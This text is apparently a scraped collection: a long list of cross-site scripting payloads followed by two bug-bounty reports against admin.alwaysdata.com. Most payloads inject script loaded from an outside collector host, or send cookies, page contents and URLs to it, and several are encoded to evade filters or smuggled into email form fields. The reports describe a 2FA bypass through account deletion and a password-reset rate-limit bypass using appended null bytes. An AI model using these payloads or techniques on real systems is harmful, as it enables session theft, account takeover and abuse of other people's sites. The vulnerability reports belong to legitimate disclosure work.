'"></Title/</StYle/</TeXtarEa/</ScRipt/</NoScRiPt/</SeLeCt/</OpTiOn/</Svg/''"><svg/onload=javascript:eval(atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmQoYSk7')) '"><img src=x onerror="eval(atob('dmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTthLnNyYyA9ICdodHRwczovL3hzczByLmNvbS9jL3NhYmVlc2gnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7'))">
"><img src=&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#115;&#48;&#114;&#46;&#99;&#111;&#109;&#47;&#99;&#47;&#115;&#97;&#98;&#101;&#101;&#115;&#104; onerror=&#101;&#118;&#97;&#108;&#40;&#97;&#116;&#111;&#98;&#40;&#116;&#104;&#105;&#115;&#46;&#115;&#114;&#99;&#41;&#41;>
'"<img src="https://xss0r.com/c/sabeesh" onerror='this.src="https://xss0r.com/c/sabeesh"'>
'"<img src=x onerror='this.src="https://xss0r.com/c/sabeesh"'>
'"<img src=x onerror='fetch("https://xss0r.com/c/sabeesh",{method:"POST",body:btoa(document.body.innerHTML),mode:"no-cors"})'>
'"<iframe src='javascript:window.location="https://xss0r.com/c/sabeesh"'></iframe>
'"<iframe srcdoc='<script>window.location="https://xss0r.com/c/sabeesh"</script>'></iframe>
'"<iframe srcdoc='<script>fetch("https://xss0r.com/c/sabeesh",{method:"POST",body:btoa(parent.document.body.innerHTML),mode:"no-cors"})</script>'></iframe>
'"<object data='javascript:window.location="https://xss0r.com/c/sabeesh"'></object>
<input onfocus='fetch("https://xss0r.com/c/sabeesh",{method:"POST",mode:"no-cors"})' autofocus>
'"<script type="text/javascript" src="https://xss0r.com/c/sabeesh"></script>
'"<script type="module" src="https://xss0r.com/c/sabeesh"></script>
'"<script nomodule src="https://xss0r.com/c/sabeesh"></script>
javascript:window.location="https://xss0r.com/c/sabeesh"
javascript:fetch("https://xss0r.com/c/sabeesh")
–></tiTle></stYle></texTarea></scrIpt>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
'"<img src="https://xss0r.com/c/sabeesh" onerror="this.src='https://xss0r.com/c/sabeesh'">
'"<svg/onload="window.location.href='https://xss0r.com/c/sabeesh'">
'"<audio src onerror='fetch("https://xss0r.com/c/sabeesh",{method:"POST",mode:"no-cors"})'>
'"<script>new Image().src="https://xss0r.com/c/sabeesh"</script>
'"<form action="https://xss0r.com/c/sabeesh" method="POST"><input name="data" value=""></form><script>document.forms[0].submit();</script>
'"<iframe src="javascript:fetch('https://xss0r.com/c/sabeesh')"></iframe>
'"<link rel="stylesheet" href="https://xss0r.com/c/sabeesh" onerror='fetch("https://xss0r.com/c/sabeesh")'>
'"<meta http-equiv="refresh" content="0;url=https://xss0r.com/c/sabeesh">
'"<object data="https://xss0r.com/c/sabeesh" onerror='this.data="https://xss0r.com/c/sabeesh"'></object>
javascript:fetch("https://xss0r.com/c/sabeesh")
'"<svg/onload="fetch('https://xss0r.com/c/sabeesh'">
{constructor.constructor('fetch("https://xss0r.com/c/sabeesh"')()}
'"<img src=x onerror="fetch('https://xss0r.com/c/sabeesh')">
'"></script></title></textarea><script src=https://xss0r.com/c/sabeesh></script>
'"<svg/onload='var a="fetch";var b="https://xss0r.com/c/sabeesh"; setTimeout(a+"(b)",1000)'>
'"<iframe src="javascript:setTimeout('fetch(\"https://xss0r.com/c/sabeesh\")', 1000)"></iframe>
'"<form id='xss'><button form='xss' formaction='javascript:fetch("https://xss0r.com/c/sabeesh")'>Click Me</button></form>
'/*'/*`/*–></noscript></title></textarea></style></template></noembed></script>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
'"><img src=x onerror=setTimeout(String.fromCharCode(102,101,116,99,104)+'("https://xss0r.com//sabeesh")', 0)>
'"><script>'/*'/*`/*–><svg onload=fetch("https://xss0r.com/c/sabeesh")></script>
'"?><svg/onload="fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)">
<img src=x onerror="setTimeout(function(){fetch('https://xss0r.com/c/sabeesh?data='+document.cookie)},10)">
<input autofocus onfocus="fetch('https://xss0r.com/c/sabeesh?token='+document.cookie)">
<iframe src="javascript:void(0)" onload="fetch('https://xss0r.com/c/sabeesh?url='+location.href)"><!–" –>
'"></title></textarea></script></style></noscript><script src=https://xss0r.com/c/sabeesh></script>
ibrahim'"<script src=https://xss0r.com/c/sabeesh></script>
ibro%27%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E
–></tiTle></stYle></texTarea></scrIpt>"'><scrIpt src=https://xss0r.com/c/sabeesh></scrIpt>
/*'/*`/*–></noscript></title></textarea></style></template></noembed></script>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
-'"><Svg Src=xss0r.com/c/sabeesh/s OnLoad=import(this.getAttribute('src')+0)>
email%5D=zer0_sec+1%22%3E%3Cscript+src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E%40ibro1337%40gmail.com
<input onmouseover="fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)">
'"><Svg Src=xss0r.com/c/sabeesh/s OnLoad=import(this.getAttribute('src')+0)>
'"><Img Src=xss0r.com/c/sabeesh/x Onload=import(src+0)>
'/*\'/*"/*\"/*</Script><Input/AutoFocus/OnFocus=/**/(import(/https:https://xss0r.com/c/sabeesh\00?1=1290/.source))>
\"><input autofocus nope="%26quot;x%26quot;" onfocus="frames.location='https://xss0r.com/c/sabeesh?c='+Reflect.get(document,'coo'+'kie')">
\"></script><img src="x" onerror="with(document)body.appendChild(createElement('script')).src='https://xss0r.com/c/sabeesh'">
<p><img src="https://xss0r.com/c/sabeesh" border="0" />–&gt;</p>
'"></title></textarea></script></style></noscript><script src=https://xss0r.com/c/sabeesh></script>
<script>$.getScript("https://xss0r.com/c/sabeesh")</script>
‘;"/></textarea></script><script src=xss0r.com/c/sabeesh>
zer0_sec+1%22%3E%3Cscript+src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E%40ibro1337%40gmail.com
zer0_sec 1"><script src="https://xss0r.com/c/sabeesh"></script>@ibro1337@gmail.com ibro1337%40gmail.com%22%3E%3Cscript%20src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E
ibro1337@gmail.com"><script src="https://xss0r.com/c/sabeesh"></script>
{globalThis.constructor("fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)")()}
ibro1337@gmail.com<!–" –><script src=https://xss0r.com/c/sabeesh></script>
ibro1337%40gmail.com%22%3E%3Cscript%20src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E
ibro1337@gmail.com"><svg onload="fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)"></svg>
<iframe src="https://xss0r.com" onload="fetch('https://xss0r.com/c/sabeesh?cookie=' + document.cookie)"></iframe>
</script><Iframe SrcDoc="><script src=https://xss0r.com/c/sabeesh></script>">
%3C%2Fscript%3E%3CIframe%20SrcDoc%3D%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E%22%3E
%253C%252Fscript%253E%253CIframe%2520SrcDoc%253D%2522%253E%253Cscript%2520src%253Dhttps%253A%252F%252Fxss0r.com%252Fc%252Fsabeesh%253E%253C%252Fscript%253E%2522%253E
–></tiTle></stYle></texTarea></scrIpt>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
–%3E%3C%2FtiTle%3E%3C%2FstYle%3E%3C%2FtexTarea%3E%3C%2FscrIpt%3E%22%2F%2F%27%2F%2F%3E%3CscrIpt%20src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E
–%253E%253C%252FtiTle%253E%253C%252FstYle%253E%253C%252FtexTarea%253E%253C%252FscrIpt%253E%2522%252F%252F%2527%252F%252F%253E%253CscrIpt%2520src%253D%2522https%253A%252F%252Fxss0r.com%252Fc%252Fsabeesh%2522%253E%253C%252Fscript%253E
javascript:%27%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E
'"><script src=https://xss0r.com/c/sabeesh></script><img src=x onerror=fetch('https://xss0r.com/c/sabeesh?c='+document.cookie)>
javascript:%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E
javascript:%27%22%3E%3Csvg%20onmouseover%3D%22fetch('https://xss0r.com/c/sabeesh?data='+document.cookie)%22%3E%3C%2Fsvg%3E
javascript:/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/–>&lt;svg/onload=/*<html/*/onmouseover=fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)>
javascript:</script></textarea></style></noscript></noembed></script></template>&lt;svg/onload=/*fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)/*–><html */ onmouseover=alert()//>

Bypassing Two-Factor Authentication via Account Deactivation

Hello Team,

I hope you are doing well. I found a serious issue in https://admin.alwaysdata.com which Bypassing Two-Factor Authentication via Account Deactivation.

The vulnerability arises from a logical flaw in the account recovery and 2FA enforcement processes. Specifically, after deactivating an account, users can takeover and log in without being prompted for 2FA. The 2FA mechanism, which is designed to provide an additional layer of security, is effectively bypassed.

Steps To Reproduce

Go to https://admin.alwaysdata.com and make signup example@gmail.com

Then, go to admin detail section add some details first name, last name etc and activate 2fa.

After, activating 2fa submit and save the details.

After, saving the details click on Delete this profile button on right top side and submit the message what you want.

Your account is deleted without asking password confirmation and 2fa is also deactivated and attacker can easily takeover the account.

Note: This is possible only when user is forgot to login off the account at cafe or something else pc and recreate a account with this email address and reconfigure a 2fa to takeover the account.

Regard,

Waleed Anwar

Hi Team,

I found a rate limit bypass in reset password endpoint.

If we send the following POST:

POST /password/lost/ HTTP/2
Host: admin.alwaysdata.com
Cookie: csrftoken=xxxxxxxx………………; django_language=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://admin.alwaysdata.com/password/lost/ Content-Type: application/x-www-form-urlencoded
Content-Length: 113
Origin: https://admin.alwaysdata.com Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

csrfmiddlewaretoken=xxxxxxxxxxxxxxx…………………..&email=example%40gmail.com

Now send the request around ~50 times and it'll hit "Too Many Requests". Now simply add %00 on the end of the email and resend even more password reset emails.
&email=example%40gmail.com%00 - and keep adding %00 everytime you are rate limited. After a while you can go back to just %00 as it resets after so long.

No real impact with just mass emailing someone a reset password link, but I thought it was worth reporting because the rate limiting bypass might exist in other areas (with the use of the null byte %00)

Thank You,

Waleed Anwar